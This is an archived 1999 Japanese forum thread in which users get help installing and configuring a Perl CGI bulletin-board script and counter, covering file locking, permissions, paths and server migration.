ちょっと反則ではありますが、CGIサーヴァに全てインストールして使うことになります。
その場合は、ごく普通のインストール手順になります。


[RE] フォロー記事投稿 記事のキャンセル
From: INFU <infu@geocities.co.jp>
Subject: ありがとうございました
Date: 1999/07/25 00:10:25
Reference: mesh.forum.4/00044

7月24日に、にあさんは書きました。

>ちょっと反則ではありますが、CGIサーヴァに全てインストールして使うことになります。
>その場合は、ごく普通のインストール手順になります。

ありがとうございました!
テストで成功しました、これから微調整していきたいと思います
本当にありがとうございました


[NEW] フォロー記事投稿 記事のキャンセル
From: 鈴木紀明 <suz@king.co.jp>
Subject: 投稿できないんです。
Date: 1999/07/23 10:55:45

こんにちは。
2年ほど前より、使用させていただいております。
サーバーはBIGLOBE(www2s)ですが、時々レスポンスが遅い以外は
問題なく使っていました。
ディレクトリを分けて3種類の会議室を設置してあるのですが
昨日、v1.7a→v1.7cに変更するために「Preface.html」以外のファイルを
書き換えました。
(手順としては、サーバー上のファイルをDELETEしてから、新しいファイルを
 アップロードし、パーミッションを変更する。)
動作確認したところ、表示は問題ありませんが、投稿が出来ません。
(プレビュー、本投稿ともに)
エラーメッセージも出ず、そのままの状態で止まってしまうのです。

サーバー側の負荷等の問題かと思い、昨日午後から時間をおいて様子を見てきましたが
夜、夜中、朝方、ともに同様の症状ですので、トラフィックの問題などではないようです。
また、ブラウザはie4、ie5、NN4.6、で確認しましたがすべて同様の症状です。

なにかヒントになることがあればご教示いただきたく存じます。
会議室の設置場所を下記に記します。

http://www2s.biglobe.ne.jp/~suz/forum/index.cgi
http://www2s.biglobe.ne.jp/~suz/asia_forum/index.cgi
http://www2s.biglobe.ne.jp/~suz/music_forum/index.cgi

よろしくお願いいたします。


[RE] フォロー記事投稿 記事のキャンセル
From: 鈴木紀明 <suz@king.co.jp>
Subject: Re: 投稿できないんです。
Date: 1999/07/23 11:13:30
Reference: mesh.forum.4/00040

いま、試験的に投稿してみたらエラーメッセージが出ました。(-_-;)

 原因(”ロック出来ません”、"test/contents")

test(及び各部屋)のディレクトリ以下はいじってないのですが。。。


[RE] フォロー記事投稿 記事のキャンセル
From: 鈴木紀明 <suz@king.co.jp>
Subject: 復旧しました。
Date: 1999/07/23 13:29:30
Reference: mesh.forum.4/00041

お騒がせしてすみません。
過去ログを読んでいたら、該当するような件があったので、flockの設定を変えてみたら
投稿できるようになりました。

どうもお騒がせしてすみませんでした。

#でもflockをいじったのは、今回が初めてなのですけど。。。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 復旧しました。
Date: 1999/07/24 19:54:51
Reference: mesh.forum.4/00042

7月23日に、鈴木紀明さんは書きました。

>過去ログを読んでいたら、該当するような件があったので、flockの設定を変えてみたら
>投稿できるようになりました。

S号機はまたflock()関係がトラブるようになって来たようですね。

>#でもflockをいじったのは、今回が初めてなのですけど。。。

今までロック関係のエラーになったことは無かったですか? (^^;
S号機にいてそうだとしたら相当運が良いと思いますが。(笑)


[RE] フォロー記事投稿 記事のキャンセル
From: 鈴木紀明 <suz@king.co.jp>
Subject: Re: 復旧しました。
Date: 1999/07/25 01:24:15
Reference: mesh.forum.4/00045

にあさん、こんにちは。
レスをいただき、ありがとうございます。

7月24日に、にあさんは書きました。

>>#でもflockをいじったのは、今回が初めてなのですけど。。。
>
>今までロック関係のエラーになったことは無かったですか? (^^;
>S号機にいてそうだとしたら相当運が良いと思いますが。(笑)

 初めてです。。。
 ひょっとしたら、自分が気付いていなかっただけかもしれませんね。(汗)

今後ともよろしくお願いいたします。


[RE] フォロー記事投稿 記事のキャンセル
From: nez <nez@mud.biglobe.ne.jp>
Subject: Re: 復旧しました。
Date: 1999/07/25 02:29:21
Reference: mesh.forum.4/00045

7月24日に、にあさんは書きました。


>S号機はまたflock()関係がトラブるようになって来たようですね。

>今までロック関係のエラーになったことは無かったですか? (^^;
>S号機にいてそうだとしたら相当運が良いと思いますが。(笑)

こんばんは、nezです。
例のnpc.cgiでは色々御世話になっております。

やっぱり、「No More Locks」エラーと同じ原因でしょうか、これって?
それならば最近また発生しているもので・・・(^^;;
BIGLOBEのサポートにばんばんメール出してます(笑)

いやーS号機だけは・・・まったく(^^;;


[NEW] フォロー記事投稿 記事のキャンセル
From: 中島 <jh3rat@tcp-ip.or.jp>
Subject: CGIを実行すると、、、
Date: 1999/07/24 11:01:16

はじめまして、中島と申します。

うぇぶ会議室を設定している者です。蓮沼さんの会議室設定方法等
見ながら設定しており、サーバーにアップロードして、
指示どおり設定したはずなのですが、index.cgiをブラウザ上で
実行すると、会議室が現れず、

#!/usr/bin/perl

$CGIPATH = '.';

#
# index.cgi -- Main page of WebForum.
# Copyright (C) 1996 nir@mxa.meshnet.or.jp
#
以下略

というように、ソースコードのようなものが現れるだけなのです。
どこか私の設定に誤りがあったのでしょうか?
お手数ですが、ご存知の方ぜひ教えてください。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: CGIを実行すると、、、
Date: 1999/07/24 19:58:55
Reference: mesh.forum.4/00043

7月24日に、中島さんは書きました。

>index.cgiをブラウザ上で実行すると、会議室が現れず、

>というように、ソースコードのようなものが現れるだけなのです。

CGIとしての動作がされず、単なる文書の読み込みになってしまっています。

ちなみにお使いのサーヴァはどこですか? www.tcp-ip.or.jp はユーザの
CGIやSSIを実行するには別にオプション契約が必要そうに読めましたが。


[NEW] フォロー記事投稿 記事のキャンセル
From: INFU <infu@geocities.co.jp>
Subject: もう一度だけ私にチャンスを・・・
Date: 1999/07/25 18:34:47

こんにちは
前に「にあさん」に親切に教えてもらったのにもかかわらず
いまだ上手く行っていない超初心者INFUです
前回教えてもらったところは出来たのですが
オンラインマニュアルに従って進めて
TESTへの書きこみは出来たのですが
今度は新しい部屋を作って投稿すると

System Error!! 
システムに致命的エラーが生じました。
原因 ('ファイルに書き込めません', "*******/contents")

というのが出て書きこめません
もし教えていただけるならどなたでもかまいません
もう一度この私に教えて頂けませんでしょうか


[RE] フォロー記事投稿 記事のキャンセル
From: TAD <hotani@mua.biglobe.ne.jp>
Subject: Re: もう一度だけ私にチャンスを・・・
Date: 1999/07/26 11:40:48
Reference: mesh.forum.4/00050

7月25日に、INFUさんは書きました。

>オンラインマニュアルに従って進めて

いろんな方が書かれた「うぇぶ会議室設置手順」も大変参考になると思いますよ。

>TESTへの書きこみは出来たのですが
>今度は新しい部屋を作って投稿すると
>
>System Error!! 
>システムに致命的エラーが生じました。
>原因 ('ファイルに書き込めません', "*******/contents")
>
>というのが出て書きこめません

では、簡単に...
新しく作ったディレクトリの中にcontentsファイルを用意してあげないといけません。
それがないから以下のようなエラーメッセージが表示されているわけです。

>原因 ('ファイルに書き込めません', "*******/contents")


[NEW] フォロー記事投稿 記事のキャンセル
From: りえ <mimi@annie.ne.jp>
Subject: どぉぉしてもできないのぉぉ。(涙)
Date: 1999/07/30 11:50:48

こんにちわ、はじめまして。

このホームページは2月頃に見つけました。
それは”ジジジかうんたー”がほしかったからです。
それから一生懸命説明を見ながらやってはみてるのですが
まず、説明文が理解できなくて・・・。<大問題

こんなわたしにはできないでしょうか?(涙)


[RE] フォロー記事投稿 記事のキャンセル
From: Shige <t_shigetome@muf.biglobe.ne.jp>
Subject: Re: どぉぉしてもできないのぉぉ。(涙)
Date: 1999/07/30 18:19:36
Reference: mesh.forum.4/00053

7月30日に、りえさんは書きました。

>こんにちわ、はじめまして。
>
>このホームページは2月頃に見つけました。
>それは”ジジジかうんたー”がほしかったからです。
>それから一生懸命説明を見ながらやってはみてるのですが
>まず、説明文が理解できなくて・・・。<大問題
>
>こんなわたしにはできないでしょうか?(涙)

 はじめまして
 説明文を理解する気持ちがあれば 設置はできると思いますよ

 まず,具体的に何が分からないかが分からないと
 対応のしようがありません 超能力者ならともかくね  ;-P


[RE] フォロー記事投稿 記事のキャンセル
From: <Hasunuma@ibm.net>
Subject: Re: どぉぉしてもできないのぉぉ。(涙)
Date: 1999/08/02 13:08:31
Reference: mesh.forum.4/00053

>こんにちわ、はじめまして。
>
>このホームページは2月頃に見つけました。
>それは”ジジジかうんたー”がほしかったからです。
>それから一生懸命説明を見ながらやってはみてるのですが
>まず、説明文が理解できなくて・・・。<大問題
>
>こんなわたしにはできないでしょうか?(涙)

”ジジジかうんたー”の相談なら「npc.cgiの部屋」が書き込みには
適切なんじゃないでしょうか。

一応、うちの所の「機能拡張編」の1番、2番の記事にも、
にあさんのカウンターを組み込んだ時の手順を書いてありますが‥‥


[NEW] フォロー記事投稿 記事のキャンセル
From: puyonya <Nakagawa_Kyoko@knr.icc.ogis-ri.co.jp>
Subject: NT 4.0 + IIS 4.0 で動かしたいのですが。。。
Date: 1999/07/30 15:44:42

はじめまして。

にあさんの「うぇぶ会議室」に魅せられて、NT Server にインストールしようと
しています。

NT に「うぇぶ会議室」とPerl for win32 をインストールして、CGI を動かす
ところまではうまくいったのですが、さあ記事を投稿してみましょう、と思って
試してみると、エラーが出て書き込めません。エラーメッセージは、次のとおりです。

「システムに致命的エラーが生じました。原因('ファイルに書き込めません'.
  "test/contents"」

もちろん、test/contents ファイルはちゃんと存在します。

これは、パーミッションの問題でしょうか???
過去の記事を探して、北澤さんとおっしゃる方が、投稿されていた記事

(http://www2.big.or.jp/%7Enir/Forum/mesh.forum/00966.html)に

あったとおりにしてみたつもりなのですが、うまく動きません。

C:\Inetpub\Wwwroot\Forum\ 以下に HTML ファイルを置き、そして
C:\Inetpub\Wwwroot\cgi-bin\ 以下に、.pl .cgi ファイルを置いています。

私が設定したアクセス権限は、次のとおりです。

  [NTFSのアクセス権設定]
   F:\Inetpub\Wwwroot\Forum   → everyone: 読み取り
                    SYSTEM:   フルコントロール
                    Administrator: フルコントロール
     

  [IISのアクセス権設定]
   F:\Inetpub\Wwwroot\Forum  → /forum2 読み取り、ログアクセス、ディレクトリの 
                       索引付け
                  アプリケーション設定 アクセス権 スクリプト


[everyone:変更]とかにしないといけないのでしょうか?
#それはとっても危険なような気がするのですが。。。

この、NTFS のアクセス権とIIS のアクセス権の違いもよくわかりません。
NT には詳しくないので、見当違いのことをしているかも知れないので、是非
ご指摘ください。

一人でアレコレ長いことはまっています (;_;)。
NTに設置された方、是非教えてください。よろしくお願いいたします。


[RE] フォロー記事投稿 記事のキャンセル
From: いしどう <ishidou@po.iijnet.or.jp>
Subject: Re: NT 4.0 + IIS 4.0 で動かしたいのですが。。。
Date: 1999/07/30 21:13:12
Reference: mesh.forum.4/00054

いしどう です。

7月30日に、puyonyaさんは書きました。

>NT に「うぇぶ会議室」とPerl for win32 をインストールして、CGI を動かす
>ところまではうまくいったのですが、さあ記事を投稿してみましょう、と思って
>試してみると、エラーが出て書き込めません。エラーメッセージは、次のとおりです。
>
>「システムに致命的エラーが生じました。原因('ファイルに書き込めません'.
>  "test/contents"」
>
>もちろん、test/contents ファイルはちゃんと存在します。
>
>これは、パーミッションの問題でしょうか???

うー、そうかもしれませんしそうじゃないかもしれません (^^;;

>過去の記事を探して、北澤さんとおっしゃる方が、投稿されていた記事
>
>(http://www2.big.or.jp/%7Enir/Forum/mesh.forum/00966.html)に
>
>あったとおりにしてみたつもりなのですが、うまく動きません。

もし、このとおりにしてあるのだったら、パーミッションの問題ではないか
と思います。

>私が設定したアクセス権限は、次のとおりです。
>
>  [NTFSのアクセス権設定]
>   F:\Inetpub\Wwwroot\Forum   → everyone: 読み取り
>                    SYSTEM:   フルコントロール
>                    Administrator: フルコントロール

えーと、"F:" というのは入力ミスだということだとすると (^^;;
IIS が起動した CGI のスクリプトは、IUSR_コンピュータ名 のユーザ
権限で動作しますんで、これではファイルへの書き込みが出来ません。
IUSR_コンピュータ名 が「変更」できるようにアクセス権を変更して
みてください。

それでもだめならば…仮想ディレクトリの設定がちがってるのかも。


[RE] フォロー記事投稿 記事のキャンセル
From: puyonya <Nakagawa_Kyoko@knr.icc.ogis-ri.co.jp>
Subject: Re: NT 4.0 + IIS 4.0 で動かしたいのですが。。。
Date: 1999/08/02 15:28:34
Reference: mesh.forum.4/00056

7月30日に、いしどうさんは書きました。
>>過去の記事を探して、北澤さんとおっしゃる方が、投稿されていた記事
>>
>>(http://www2.big.or.jp/%7Enir/Forum/mesh.forum/00966.html)に
>>
>>あったとおりにしてみたつもりなのですが、うまく動きません。
>
>もし、このとおりにしてあるのだったら、パーミッションの問題ではないか
>と思います。

>>私が設定したアクセス権限は、次のとおりです。
>>
>>  [NTFSのアクセス権設定]
>>   F:\Inetpub\Wwwroot\Forum   → everyone: 読み取り
>>                    SYSTEM:   フルコントロール
>>                    Administrator: フルコントロール

確か、 forum ディレクトリはアクセス権「読み取り」に設定しておられた
ようなので、everyone: 読み取り、にしたのですが。。。

>えーと、"F:" というのは入力ミスだということだとすると (^^;;
>IIS が起動した CGI のスクリプトは、IUSR_コンピュータ名 のユーザ
>権限で動作しますんで、これではファイルへの書き込みが出来ません。
>IUSR_コンピュータ名 が「変更」できるようにアクセス権を変更して
>みてください。

教えていただいた通り、アクセス権を「変更」にしたら、ちゃんと投稿することが
できました。ありがとうございます m(_ _)m。
そうかー。"SYSTEM"ではなく、"IUSR_○○"が変更をかけていたんですか。
投稿できないはずですね (^^;。

ところで、「変更」にしても、セキュリティ上、問題ないんですよね?ドキドキ。
#勝手にディレクトリを覗いてファイルを削除されたり、とか。


[NEW] フォロー記事投稿 記事のキャンセル
From: MIE <fwkf8189@infoweb.mb.ne.jp>
Subject: 動きが変(投稿しなおし)
Date: 1999/08/01 23:21:27

はじめましてジジカウンターが気にいて今から採用したいと思っています。
今日Gesuto bookに設置しました。
設置は成功しているのですが、カウンターのスタート数値を5からにしょうと思い次のように設定しました。

="/~fxxx9999/npc/npc.cgi?L=index.htm&I=/npc/npc.idx&INIT=5

(最初は1165にしていました)としたところどうしても1165からカウントした数字になってしまいます。一度設定したら、そのページでは修正が効かないのでしょうか?

オンラインマニュアルではINIT=5はN=5となっていたのでやってみたのですが
すると4〜5にカウントを繰り返すばかりです。
ちゃんと5から順次カウントするにはどのようにすれば良いのでしょうか?
宜しくお願いします。


[RE] フォロー記事投稿 記事のキャンセル
From: <Hasunuma@ibm.net>
Subject: Re: 動きが変(投稿しなおし)
Date: 1999/08/02 14:25:31
Reference: mesh.forum.4/00058

npc.cgiネタなので「npc.cgiの部屋2」にレス書きます。


[NEW] フォロー記事投稿 記事のキャンセル
From: えぢまっく <ejimac@po.wind.ne.jp>
Subject: うぇぶ会議室の移転方法について
Date: 1999/08/17 01:51:38

こんばんは。ごぶさたしておりますえぢまっくです。

実は今使っている会議室を別のサーバーに移動させようかななどと考えておるのですが
記事を全部新しいサーバーに移動させるにはやはり一度元サーバーの全部のファイルを
ローカルパソコンに落としてから新しいサーバーにアップと言う方法しかないでしょうか?

旧サーバーから新サーバー(新旧プロバイダーは違います)へ直接コピーというのは
やはり無理なのでしょうか?

結構ファイルが多くなってるので全部ダウンするのも厳しいのですが(^_^:)

何かいい手立てがあったら御教授下さいませ。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: うぇぶ会議室の移転方法について
Date: 1999/08/17 12:51:09
Reference: mesh.forum.4/00062

8月17日に、えぢまっくさんは書きました。

>実は今使っている会議室を別のサーバーに移動させようかななどと考えておるのですが
>記事を全部新しいサーバーに移動させるにはやはり一度元サーバーの全部のファイルを
>ローカルパソコンに落としてから新しいサーバーにアップと言う方法しかないでしょうか?

転送先でシェルアカウントがあって、転送元がインターネットからのFTPアクセスを
認めているなら、直接ftpコマンドで転送してしまうのが簡単でしょうね。
あたしがBiG Netのサーヴァに記事を転送する時は専らこれでやっています。

それでも、ファイル数が多い時には面倒ですから、tarコマンドでディレクトリごと
まとめてしまって、圧縮かけてからftpで転送して展開、と言うのをしますね。

Biglobeみたいにシェルアカウントが無い所は、アーカイヴ、圧縮等を行なう
簡単なCGIを書いて実行するのがよろしいのでは。具体的な方法は以前の記事を
参照して下さい。

>結構ファイルが多くなってるので全部ダウンするのも厳しいのですが(^_^:)

あと、サーヴァ移転で問題になるのはディレクトリ構造が変わった場合、
絶対パス指定していたリンクが切れてしまう事ですね。

# 導入するディレクトリ構造を柔軟にしたため、相対URL指定がし辛いので
# 絶対パス指定で例を書いてしまったのが裏目に出ていますね。
# ディレクトリ構造が変わった時に、記事中のリンクを張り直す
# スクリプトでも書いたらいいのかな?
## どなたか書きませんか。(爆)


[RE] フォロー記事投稿 記事のキャンセル
From: Shige <t_shigetome@muf.biglobe.ne.jp>
Subject: Re: うぇぶ会議室の移転方法について(一括パス変更)
Date: 1999/08/17 21:07:58
Reference: mesh.forum.4/00063

8月17日に、にあさんは書きました。

 バッサリ 略

>あと、サーヴァ移転で問題になるのはディレクトリ構造が変わった場合、
>絶対パス指定していたリンクが切れてしまう事ですね。
>
># 導入するディレクトリ構造を柔軟にしたため、相対URL指定がし辛いので
># 絶対パス指定で例を書いてしまったのが裏目に出ていますね。
># ディレクトリ構造が変わった時に、記事中のリンクを張り直す
># スクリプトでも書いたらいいのかな?
>## どなたか書きませんか。(爆)

 CGIで実行できるものではなくて
 コマンドラインから実行するものを作ってます。

 現状では置換前後のドキュメントを明確に指定しなければならず
 パス構造の一括した変更には対応してませんが
 ちょっと手を加えるだけで済むかも
 暇を見て機能拡張を検討してみましょう か

 でも,やはりオンラインでは嫌ですね(^_^;)
#実際,自分で使ってて失敗してるし・・・

#因みに現在公開中の物はバグがあります(爆)
#同じディレクトリでファイル名のみの変更をするとおかしなパスを生成します。


[RE] フォロー記事投稿 記事のキャンセル
From: えぢまっく <ejimac@po.wind.ne.jp>
Subject: Re: うぇぶ会議室の移転方法について
Date: 1999/08/18 07:20:06
Reference: mesh.forum.4/00063

8月17日に、にあさんは書きました。

ありがとうございます。えぢまっくです。

>転送先でシェルアカウントがあって、転送元がインターネットからのFTPアクセスを
>認めているなら、直接ftpコマンドで転送してしまうのが簡単でしょうね。
>あたしがBiG Netのサーヴァに記事を転送する時は専らこれでやっています。
>
>それでも、ファイル数が多い時には面倒ですから、tarコマンドでディレクトリごと
>まとめてしまって、圧縮かけてからftpで転送して展開、と言うのをしますね。

ほほぅ、ftpで直接やり取りができるのですか。
もっと勉強しないとダメですね(^_^:)
いろいろ調べてやってみます(^_^)  

そんなに急ぎではないので上手いこといくよう頑張ります!


[NEW] フォロー記事投稿 記事のキャンセル
From: Sphinx <hiro-y@isn.ne.jp>
Subject: キャンセルされた記事が Forbidden になる
Date: 1999/08/19 23:02:51

はじめまして。
うぇぶ会議室を自分のホームページに設置しようと試みています。

 「投稿者によりキャンセル」と表示された記事をクリックすると,普通なら
「キャンセルされました」という文章が表示されると思うのですが,なぜか
「Forbidden」になってしまいます。

 この機能に関するところをいじったつもりはないのですが,どのファイルの
どの辺を点検すればいいでしょうか。教えてください。

http://www.isn.ne.jp/~hiro-y/cgi-bin/forum/index.cgi


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: キャンセルされた記事が Forbidden になる
Date: 1999/08/20 01:45:17
Reference: mesh.forum.4/00066

8月19日に、Sphinxさんは書きました。

> 「投稿者によりキャンセル」と表示された記事をクリックすると,普通なら
>「キャンセルされました」という文章が表示されると思うのですが,なぜか
>「Forbidden」になってしまいます。

キャンセルメッセーヂのHTMLファイル本体であるCancelPoster.htmlは読める
ようですので、記事ファイルからキャンセルメッセーヂファイルへのシンボリック
リンクが辿れない設定になっているのでしょう。この解決法は過去記事の
「削除済み発言の表示がエラーになる場合」に詳しいです。

また、記事一覧の表題の最後が化けているようですが、これはFAQの
「記事一覧の行末が化けてしまうんですけど?」にあるように、jperlを
使っているからでしょう。


[RE] フォロー記事投稿 記事のキャンセル
From: Sphinx <hiro-y@isn.ne.jp>
Subject: Forbidden&行末文字化け 解決しました
Date: 1999/08/20 06:47:02
Reference: mesh.forum.4/00067

にあさん,早速のアドバイスありがとうございました。

 Forbidden のほうは,site.pl の $copy を1にして解決しました。

 また,行末文字化けも,cgiの1行目に「 -b」を書き加えることで
解決しました。う〜ん,うれしい!これで運用開始にグッと近づきま
した。(^_^)


[NEW] フォロー記事投稿 記事のキャンセル
From: JIMNNY <jimnny@kh.rim.or.jp>
Subject: cgi-bin にしか CGI が置けない場合
Date: 1999/08/25 02:37:42

ホームページを引っ越す事になったのですが、
今回の所は、CGI は cgi-bin にしか置けないのです。
ディレクトリは、
 |
 |-cgi-bin
 |  |-forum
 |    |-*.cgi
 |    |-*.pl
 |
 |-home
 |  |-forum
 |    |-Preface.html
 |    |-test
 |    |-icon

となっています。
左上の会議室選択は表示されるので、CGI は認識されていると思うのですが
一覧と、Preface.htmlのところがエラーで表示されません。
sait.plの
$forumroot = './home/forum/';	# うぇぶ会議室のあるペーヂ
と
# $cgiroot = '/%7Einstall/forum/cgi-bin';
# $forumpath = '/home/install/public_html/forum';
を
$forumroot ="$ENV{'HOME'}/home/forum";	
と
 $cgiroot = '/cgi-bin/forum';
 $forumpath ="$ENV{'HOME'}/home/forum";
に変更していますが
ここの所の設定でパスが正しく通っていないようです。

どの様に設定を変更すれば、良いのでしょうか?
ちなみにURLは、http://www.em.st2.arena.ne.jp/cgi-bin/forum/index.cgi です。

宜しくお願いします。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: cgi-bin にしか CGI が置けない場合
Date: 1999/08/25 20:26:33
Reference: mesh.forum.4/00069

8月25日に、JIMNNYさんは書きました。

>ディレクトリは、
> |
> |-cgi-bin
> |  |-forum ← (1)
> |    |-*.cgi
> |    |-*.pl
> |
> |-home
> |  |-forum ← (2)
> |    |-Preface.html
> |    |-test
> |    |-icon
>
>となっています。

http://www.em.st2.arena.ne.jp/cgi-bin/forum/ が (1)、
http://www.em.st2.arena.ne.jp/forum/ が (2) ですね。

>$forumroot ="$ENV{'HOME'}/home/forum";	

これはURLですから、

$forumroot = '/forum';

です。

> $cgiroot = '/cgi-bin/forum';

これは良いですね。

> $forumpath ="$ENV{'HOME'}/home/forum";
>に変更していますが
>ここの所の設定でパスが正しく通っていないようです。

$ENV{'HOME'} の中身が空の様ですね。
絶対パスが分かっているなら、直に、

$forumpath = '/USERS_HOME_DIR/home/forum';

の様に書いてしまうか、CGIディレクトリからの相対パスで、

$forumpath = '../../home/forum';

の様にすると良いでしょう。


[RE] フォロー記事投稿 記事のキャンセル
From: JIMNNY <jimnny@kh.rim.or.jp>
Subject: Re: cgi-bin にしか CGI が置けない場合
Date: 1999/08/26 07:28:47
Reference: mesh.forum.4/00070

8月25日に、にあさんは書きました。


>これはURLですから、
>
>$forumroot = '/forum';

>の様に書いてしまうか、CGIディレクトリからの相対パスで、
>
>$forumpath = '../../home/forum';
>
>の様にすると良いでしょう。

以上のように変更することで、無事に表示することが出来ました。

ありがとうございました。


[NEW] フォロー記事投稿 記事のキャンセル
From: ぽち <g98k0331@mn.waseda.ac.jp>
Subject: 環境の設定について
Date: 1999/09/11 06:17:33

はじめまして。
ぽちというものです。
先日こちらの会議室を見つけまして、ありがたく使わせてもらうことにしました。
ただ、なにぶんCGIはこれが初めてという初心者なもので、基本的なところで
つまずいて困っています。

すでに会議室本体は、アップロードして書き込みが出来るようになっているのですが、
会議室の名前の変更や、フレームの分割比の変更など、基本的な環境の設定がうまくいきません。
site.plをマニュアル通りに書き替えてアップロードするのですが、その変更が反映されません。
環境設定の変更を有効にするためには、site.plを書き替える他に、何か手順が必要なのでしょうか?
契約しているサーバーが、CGIとHTMLを同じフォルダに入れておけないタイプなので、
そのあたりが問題なのかとも思うのですが、今のところ全くのお手上げです。

なにかご助言頂ければ幸いです。
よろしくお願いします。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 環境の設定について
Date: 1999/09/12 22:30:48
Reference: mesh.forum.4/00072

9月11日に、ぽちさんは書きました。

>会議室の名前の変更や、フレームの分割比の変更など、基本的な環境の設定がうまくいきません。
>site.plをマニュアル通りに書き替えてアップロードするのですが、その変更が反映されません。
>環境設定の変更を有効にするためには、site.plを書き替える他に、何か手順が必要なのでしょうか?

省略時の値はsite.plの書き換えのみで決まってきます。
会議室の名前などはsite.pl以外で設定する所はありません。

フレームの分割比は一度ユーザカスタマイズをするとCookieに記憶されますから、
省略時の値に戻すには、ユーザカスタマイズで【初期値に戻す】をしなければなりません。
# カスタマイズしていなければsite.plの値がそのまま使われますから関係無いですが。

一般的に言って、変更が反映されていない様に見えるのは、ブラウザ(や経路に入っているプロクシサーヴァ)の
キャッシュを見ている場合がほとんどですので、強制リロードするかキャッシュを捨ててから読み直せば良いでしょう。


[RE] フォロー記事投稿 記事のキャンセル
From: ぽち <g98k0331@mn.waseda.ac.jp>
Subject: Re: 環境の設定について
Date: 1999/09/13 02:24:49
Reference: mesh.forum.4/00073

9月12日に、にあさんは書きました。

>一般的に言って、変更が反映されていない様に見えるのは、ブラウザ(や経路に入っているプロクシサーヴァ)の
>キャッシュを見ている場合がほとんどですので、強制リロードするかキャッシュを捨ててから読み直せば良いでしょう。

アドバイス頂いた通り、キャッシュを削除したら更新内容がきちんと反映されました。
これまでも「再読み込み」は何度も試してたんですが(ー_ー;;
キャッシュって残ってるものなんですね。
どうもありがとうございました!!m(__)m


[NEW] フォロー記事投稿 記事のキャンセル
From: 純 <jun@fat.coara.or.jp>
Subject: システムエラー
Date: 1999/09/14 08:49:16

教えて下さい。

今まで順調に動作してたんだけど、プロバイダがCGIサーバーを変更したら、
急に動かなくなりました。

以下のエラーメッセージが出ます。

システムに致命的エラーが生じました。 原因 ('ファイルが見つかりませ
ん', "spcl/contents")

どういう原因が考えられるでしょうか?


[RE] フォロー記事投稿 記事のキャンセル
From: TAD <hotani@mua.biglobe.ne.jp>
Subject: 'ファイルが見つかりません', "???/contents" (Re: システムエラー)
Date: 1999/09/14 20:31:24
Reference: mesh.forum.4/00075

9月14日に、純さんは書きました。

>今まで順調に動作してたんだけど、プロバイダがCGIサーバーを変更したら、
>急に動かなくなりました。

具体的にどのような変更がされたのでしょうか。
その辺の情報があると原因を推測するのに役立つのですが。

>以下のエラーメッセージが出ます。
>
>システムに致命的エラーが生じました。 原因 ('ファイルが見つかりませ
>ん', "spcl/contents")

上記のエラーメッセージは、
「spclというディレクトリの下にcontentsファイルが見つからない」
という内容ですが、実際には存在してますか?

他にTESTの部屋とかがある場合、その部屋を表示しようとしたときは同じエラーになりますか?

うぇぶ会議室をどのようなディレクトリ構成で設置しましたか?
つまり、cgiスクリプトを置いてあるディレクトリ、記事ファイルが格納されるディレクトリは?
site.plでどのように定義しているか、その内容を示していただけませんか?

>どういう原因が考えられるでしょうか?

まず、もう少し多くの情報が欲しいですね。(#^_^#)


[NEW] フォロー記事投稿 記事のキャンセル
From: hammer <rhinos@mh1.117.ne.jp>
Subject: NSEにサブカテゴリーを作りたいんですけど・・・
Date: 1999/09/15 07:53:36

はじめまして。
Ninja Search Engine v2.75をダウンロードさせていただいて
これを活用したHPを現在製作中です。
NSEのカテゴリー検索に、サブカテゴリーを作りたいんですが、
可能でしょうか?当方はっきり言ってCGIは超初心者でもちろん
UNIXの基礎知識なんかも皆無なのでスクリプトの大幅な改造が
必要なようならちょっと苦しいんですが・・・。
・・・と言うかここにスクリプト改造の質問をしてもよかった
のでしょうか?ダメだったらごめんなさい。

誰か分かる方いらっしゃいましたら、何卒よろしくお願いします。


[RE] フォロー記事投稿 記事のキャンセル
From: いしどう <ishidou@po.iijnet.or.jp>
Subject: Re: NSEにサブカテゴリーを作りたいんですけど・・・
Date: 1999/09/15 12:58:21
Reference: mesh.forum.4/00077

9月15日に、hammerさんは書きました。

>はじめまして。
>Ninja Search Engine v2.75をダウンロードさせていただいて
>これを活用したHPを現在製作中です。

…以下略。

ご質問の書き込みは、こちらへどうぞ(^o^)


[NEW] フォロー記事投稿 記事のキャンセル
From: よっしぃ。 <j4598033@ed.kagu.sut.ac.jp>
Subject: 部屋の増設について
Date: 1999/09/19 01:37:58

えっと、部屋の増設ができないのです。(2つ目をつくりたいのです。)

site.plとあとちゃんと増やした部屋のディレクトリーも作ったのですが

うまくうごきません。

contentsに問題があるって言われます。(書式が不正だそうです。)

contentsの1行目ははじめからある部屋のcontentsの1行目をまるまる写しましたが

だめでした。

数字のとこ(次の記事番号のとこを00001にしました。)も書き直しても

なんかうまくいきません。

どこがまずいのでしょうか・・・。

教えていただければ幸いです。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 部屋の増設について
Date: 1999/09/20 01:50:53
Reference: mesh.forum.4/00080

9月19日に、よっしぃ。さんは書きました。

>contentsに問題があるって言われます。(書式が不正だそうです。)

>contentsの1行目ははじめからある部屋のcontentsの1行目をまるまる写しましたがだめでした。
>数字のとこ(次の記事番号のとこを00001にしました。)も書き直してもなんかうまくいきません。

基本的にはそれで良いのですが...

あと、書式が不正だと言う事は、改行記号が間違っていたり、
行末に余計な文字が残っていたりしませんか?
# contents ファイルの転送は ASCII モードでしていますか?


[RE] フォロー記事投稿 記事のキャンセル
From: よっしぃ。 <j4598033@ed.kagu.sut.ac.jp>
Subject: Re: 部屋の増設について
Date: 1999/09/22 17:40:23
Reference: mesh.forum.4/00082

ありがとうございました。
おかげさまで増設できました。(._.) ペコッ

でもcontentsの中身が改行されないんですけど・・・・
どうしたらいいですか?(^^;
さわってこわれたらいやなので・・・・

面倒おかけします。
よろしくおねがいします。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 部屋の増設について
Date: 1999/09/29 01:26:40
Reference: mesh.forum.4/00086

# あれっ? 此の記事フォローして無かったか。
